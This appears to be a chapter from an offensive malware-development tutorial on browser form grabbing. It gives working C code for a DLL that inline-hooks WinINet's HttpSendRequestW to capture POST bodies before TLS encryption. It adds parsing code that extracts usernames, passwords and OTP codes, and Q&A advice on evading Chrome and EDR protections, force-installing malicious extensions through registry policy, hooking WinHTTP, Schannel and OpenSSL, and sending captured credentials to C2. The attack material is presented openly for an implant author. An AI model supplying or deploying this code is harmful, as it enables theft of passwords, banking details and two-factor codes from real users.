Form Grabbing
Browser credential harvest (Ch78) gets stored passwords. Form grabbing gets credentials the moment they're submitted — including credentials the user never saved, one-time passwords, bank transaction details, and anything typed into a form field. The technique hooks the browser's HTTP/HTTPS submission functions at the point where form data has been assembled but before encryption. This is how ZeuS, SpyEye, and their descendants became so devastating: HTTPS doesn't protect against interception inside the browser process itself.
Why Form Grabbing Beats HTTPS
User fills out a login form and clicks Submit.
Browser flow without hooking:
─────────────────────────────────────────────────────────────────────────
Form data (plaintext): { username: "john", password: "S3cr3t!" }
↓ JavaScript encodes the form
↓ Browser assembles HTTP POST body
↓ HTTP layer hands data to WinSock / WinINet / WinHTTP
↓ TLS encrypts the data (AES-GCM, TLS 1.3)
↓ Encrypted bytes go over the wire
↓ Server decrypts and processes
With form grabbing hook (inject into browser process):
─────────────────────────────────────────────────────────────────────────
Form data (plaintext): { username: "john", password: "S3cr3t!" }
↓ JavaScript encodes
↓ Browser assembles HTTP POST body ← HOOK POINT: read body here
↓ Hook intercepts data before TLS, records it, passes through
↓ TLS encrypts → wire → server
The plaintext form data is available INSIDE the browser process
before TLS touches it. No HTTPS bypass needed — we're already inside.
Hook targets:
─────────────────────────────────────────────────────────────────────────
Option A: WinINet hooks (Internet Explorer / older apps)
HttpSendRequestA/W — intercept at the WinAPI boundary
These are system DLL exports in wininet.dll
Easy to hook with IAT patching or inline hook
Option B: WinHTTP hooks
WinHttpSendRequest in winhttp.dll
Chrome, Edge, and many apps use WinHTTP under the hood
Option C: NSS PR_Write hooks (Firefox)
Firefox uses its own network layer (libssl/libnspr)
nss3.dll → PR_Write() is the final send before TLS
Option D: Chromium internal network hooks (Chrome/Edge)
Chrome's network stack is all internal C++
Chrome calls native SSL APIs via BoringSSL
Hook at the BoringSSL layer: SSL_write(), or
Hook WinSock2 directly: WSASend(), send()
Most reliable cross-browser: WinSock hook (send/WSASend)
Works for everything that uses WinSock underneath.
Downside: captures encrypted TLS records, not plaintext.
CORRECT LEVEL: Hook ABOVE TLS in the browser's own stack.WinINet Hook — Intercepting HttpSendRequest
/* form_grab_wininet.c
Inject this DLL into the browser process.
Hook HttpSendRequestW in wininet.dll using inline hook (hot-patch).
Read POST body before it goes to TLS.
*/
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
typedef BOOL (WINAPI *pfn_HttpSendRequestW)(
HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength,
LPVOID lpOptional, DWORD dwOptionalLength);
static pfn_HttpSendRequestW g_orig_HttpSendRequestW = NULL;
/* Trampoline: 14 bytes absolute JMP for x64 */
static BYTE g_trampoline[32];
static BYTE g_orig_bytes[14];
/* Log buffer for captured form data */
static char g_grab_log[1024 * 512];
static DWORD g_grab_pos = 0;
static CRITICAL_SECTION g_grab_lock;
/* Our hook implementation */
static BOOL WINAPI hooked_HttpSendRequestW(
HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength,
LPVOID lpOptional, DWORD dwOptionalLength) {
/* lpOptional contains the POST body — GRAB IT before sending */
if (lpOptional && dwOptionalLength > 0) {
/* Get the URL this request is going to */
WCHAR url[2048] = {0};
DWORD url_len = sizeof(url);
InternetQueryOptionW(hRequest, INTERNET_OPTION_URL, url, &url_len);
EnterCriticalSection(&g_grab_lock);
if (g_grab_pos < sizeof(g_grab_log) - 2048) {
/* Log URL */
int n = WideCharToMultiByte(CP_UTF8, 0, url, -1,
g_grab_log + g_grab_pos,
sizeof(g_grab_log) - g_grab_pos - 1, NULL, NULL);
g_grab_pos += n - 1;
g_grab_log[g_grab_pos++] = '\n';
/* Log POST body (URL-encoded form data) */
DWORD copy = dwOptionalLength < (sizeof(g_grab_log) - g_grab_pos - 2)
? dwOptionalLength
: sizeof(g_grab_log) - g_grab_pos - 2;
memcpy(g_grab_log + g_grab_pos, lpOptional, copy);
g_grab_pos += copy;
g_grab_log[g_grab_pos++] = '\n';
}
LeaveCriticalSection(&g_grab_lock);
printf("[GRAB] POST to: %ls (%u bytes)\n", url, dwOptionalLength);
}
/* Call original function via trampoline (never skip the actual send) */
return g_orig_HttpSendRequestW(hRequest, lpszHeaders, dwHeadersLength,
lpOptional, dwOptionalLength);
}
/* Inline hook installation — overwrite first bytes with absolute JMP */
static void install_hook(void *target, void *detour, BYTE *saved_bytes, BYTE *trampoline) {
DWORD old_prot = 0;
VirtualProtect(target, 14, PAGE_EXECUTE_READWRITE, &old_prot);
/* Save original bytes (enough for the trampoline to call back) */
memcpy(saved_bytes, target, 14);
/* Write: FF 25 00 00 00 00 [8-byte absolute address] = JMP [RIP+0] addr */
BYTE *p = (BYTE*)target;
p[0] = 0xFF; p[1] = 0x25; /* JMP QWORD PTR [RIP+0] */
*(DWORD*)(p+2) = 0; /* RIP offset 0 */
*(ULONG_PTR*)(p+6) = (ULONG_PTR)detour; /* Absolute target address */
VirtualProtect(target, 14, old_prot, &old_prot);
FlushInstructionCache(GetCurrentProcess(), target, 14);
/* Build trampoline: [saved bytes] + JMP back to target+14 */
memcpy(trampoline, saved_bytes, 14);
BYTE *t = trampoline + 14;
t[0] = 0xFF; t[1] = 0x25; *(DWORD*)(t+2) = 0;
*(ULONG_PTR*)(t+6) = (ULONG_PTR)((BYTE*)target + 14);
VirtualProtect(trampoline, 32, PAGE_EXECUTE_READWRITE, &old_prot);
}
BOOL install_wininet_hook(void) {
InitializeCriticalSection(&g_grab_lock);
HMODULE hWinInet = GetModuleHandleA("wininet.dll");
if (!hWinInet) {
hWinInet = LoadLibraryA("wininet.dll");
if (!hWinInet) return FALSE;
}
void *fn_addr = GetProcAddress(hWinInet, "HttpSendRequestW");
if (!fn_addr) return FALSE;
/* Allocate executable memory near the target for our trampoline */
BYTE *tramp_mem = (BYTE*)VirtualAlloc(NULL, 64, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
install_hook(fn_addr, hooked_HttpSendRequestW, g_orig_bytes, tramp_mem);
g_orig_HttpSendRequestW = (pfn_HttpSendRequestW)tramp_mem;
printf("[+] WinINet HttpSendRequestW hooked\n");
return TRUE;
}
Parsing and Filtering Captured Form Data
/* parse_formdata.c — Extract passwords from URL-encoded POST bodies */
/* URL-decode a string in-place */
static void url_decode(char *str) {
char *src = str, *dst = str;
while (*src) {
if (*src == '%' && src[1] && src[2]) {
char hex[3] = {src[1], src[2], 0};
*dst++ = (char)strtol(hex, NULL, 16);
src += 3;
} else if (*src == '+') {
*dst++ = ' ';
src++;
} else {
*dst++ = *src++;
}
}
*dst = 0;
}
/* Extract a specific field from URL-encoded data: "username=john&password=S3cr3t" */
char* extract_field(const char *body, DWORD body_len, const char *field_name) {
char *work = (char*)alloca(body_len + 1);
memcpy(work, body, body_len);
work[body_len] = 0;
/* Search for "field_name=" */
char needle[256];
snprintf(needle, sizeof(needle), "%s=", field_name);
char *found = strstr(work, needle);
if (!found) return NULL;
char *value_start = found + strlen(needle);
char *value_end = strchr(value_start, '&');
if (value_end) *value_end = 0;
/* URL-decode the value */
url_decode(value_start);
return _strdup(value_start); /* caller frees */
}
/* Identify high-value form submissions */
BOOL is_credential_submission(const char *body, DWORD body_len) {
/* Common password field names across web frameworks */
const char *password_fields[] = {
"password", "passwd", "pass", "pwd", "userpassword",
"login_password", "account_password", "webpassword",
"current_password", "new_password", "Password", "PASSWORD",
"login[password]", "user[password]", "credentials[password]",
NULL
};
for (int i = 0; password_fields[i]; i++) {
char needle[256];
snprintf(needle, sizeof(needle), "%s=", password_fields[i]);
if (strstr(body, needle)) return TRUE;
}
return FALSE;
}
/* Full form grab parsing: extract and format credential fields */
void process_captured_form(const char *url, const char *body, DWORD body_len) {
if (!is_credential_submission(body, body_len)) return;
printf("\n[!] CREDENTIAL FORM SUBMITTED\n");
printf(" URL: %s\n", url);
/* Try common field name patterns */
const char *user_fields[] = {"username","email","user","login","account",
"user_name","loginid","userid","user_id",NULL};
const char *pass_fields[] = {"password","passwd","pass","pwd","passcode",NULL};
for (int i = 0; user_fields[i]; i++) {
char *val = extract_field(body, body_len, user_fields[i]);
if (val) { printf(" Username: %s\n", val); free(val); break; }
}
for (int i = 0; pass_fields[i]; i++) {
char *val = extract_field(body, body_len, pass_fields[i]);
if (val) { printf(" Password: %s\n", val); free(val); break; }
}
/* Also check for OTP / 2FA codes */
const char *otp_fields[] = {"otp","totp","token","code","verification_code",
"two_factor_code","auth_code",NULL};
for (int i = 0; otp_fields[i]; i++) {
char *val = extract_field(body, body_len, otp_fields[i]);
if (val) { printf(" OTP/2FA: %s\n", val); free(val); break; }
}
}
Questions & Answers
Does form grabbing work when the site uses JavaScript to encrypt form data before submission (e.g., RSA-encrypt the password in JS)?
Yes, but you need to hook at the right level. If the site uses JavaScript to encrypt the password before the form is submitted (some enterprise SSO portals do this — encrypt the password with the server's RSA public key client-side), the encrypted blob is what goes into the POST body — not the plaintext. Hooking HttpSendRequestW captures the encrypted blob, which is useless. Solution: hook at the JavaScript engine level instead. Chrome and Edge run V8. You can hook V8's password manager integration functions (the Autofill component that reads from password fields before JS touches them). Alternatively, hook the DOM event listener: before the form's "submit" event fires and before any JS encryption runs, DOM elements contain the raw plaintext values in their .value properties. A JavaScript injection via a Chrome DevTools Protocol (CDP) command or a content script can read document.querySelector('[type=password]').value at the moment the submit button is clicked. This requires either injecting JavaScript (possible via CDP if you have a developer mode extension) or a browser extension, but the timing captures pre-encryption values.
How do modern browsers detect and block form grabbing hooks?
Chrome has Code Integrity protections (similar to what we discussed in Ch49 — process mitigation policies). Chrome sets BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON on some of its processes, which prevents third-party DLLs from being injected — including form grabbing DLLs. However, not all Chrome processes have this protection, and it can be worked around by injecting before the protection is set (at process start). Additionally, Chrome's CET (Control-flow Enforcement Technology) and CFG (Control Flow Guard) make inline hooking harder — direct overwrites of function preambles may violate CFG checks. Microsoft Defender and CrowdStrike specifically monitor for IAT modification in browser processes and inline hooks on networking functions in wininet.dll and winhttp.dll. Detection countermeasure: use a DLL that loads very early in the browser process (AppInit_DLLs registry key, though this is increasingly blocked) or use reflective injection into the browser from an external process that has PROCESS_VM_WRITE access. The hook itself should use a hardware breakpoint-based hook (set DR0/DR2 debug registers via SetThreadContext) rather than memory modification — hardware breakpoint hooks don't modify any bytes and are harder for integrity checkers to detect.
What's the difference between form grabbing and a browser extension approach?
A malicious browser extension achieves similar goals to form grabbing but via the legitimate extension API. Extensions can: read form field values via document.querySelector('[type=password]').value, intercept XMLHttpRequest and fetch API calls via content scripts, and monitor navigation events. The advantages of the extension approach: (1) No code injection into a protected browser process — the extension runs in the browser's JavaScript engine as a legitimate guest. (2) Survives browser updates — unlike native hooks that may break when Chrome updates its binary. (3) Extensions have access to the DOM, including password field values that are never submitted (autofilled values, for example). The disadvantage: extensions must be installed. If your implant can write to the Chrome extensions directory (%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\) and create a malicious extension manifest + content script, Chrome will load it as an unpacked extension — but since Chrome 2022, unpacked extensions require developer mode to be enabled. A more practical approach: install the extension as a force-installed policy via the registry (HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist) if you have admin privileges.
How do you capture credentials from applications that use WinHTTP directly (not a browser)?
Many thick-client applications — corporate VPN clients, enterprise software, native Windows applications that talk to web APIs — use WinHTTP directly rather than going through a browser. WinHttpSendRequest in winhttp.dll is the hook target. The call signature: WinHttpSendRequest(hRequest, headers, headersLen, lpOptional, optionalLen, totalLen, context) — lpOptional is the POST body, just like HttpSendRequestW. Hook WinHttpSendRequest with the same inline hook approach. Additionally, some applications use their own TLS stacks (OpenSSL, mbedTLS, Schannel directly) or communicate over non-HTTP protocols entirely. For Schannel-based apps: hook SslEncryptPacket in schannel.dll — this is the function that encrypts outbound TLS records. At this point the data is still plaintext (it's about to be encrypted). For OpenSSL: hook SSL_write. The general principle: find the last function in the stack that handles plaintext data before it's encrypted, and hook it. The specific function depends on which TLS library the target application uses.
How do you distinguish legitimate form data from noise (search queries, comment submissions, non-credential forms)?
Three filtering layers: (1) URL filtering — maintain a list of known credential portal patterns: "login", "signin", "auth", "account", "portal", "/wp-login.php", "/user/login", etc. Also maintain a reverse list of noise URLs: Google search ("google.com/search"), social media posts, comment forms. (2) Field name matching — as shown in process_captured_form(), check for the presence of a password-like field name before processing. A form with only "q=" (search query) or "comment=" (blog comment) has no password field. (3) URL+field combination: a POST to "https://accounts.google.com/signin/v2/sl/pwd" with field "Passwd=" is definitively a Google credential. A POST to "https://mail.company.internal/Login" with "password=" is a corporate VPN or mail login. Build a continuously updated list of high-value URLs (financial sites, corporate VPNs, cloud services, email providers) and flag any credential submission to those URLs as priority intelligence. Send priority intelligence to C2 immediately (don't wait for the next beacon — use an immediate callback if possible), because one-time passwords and session tokens expire quickly.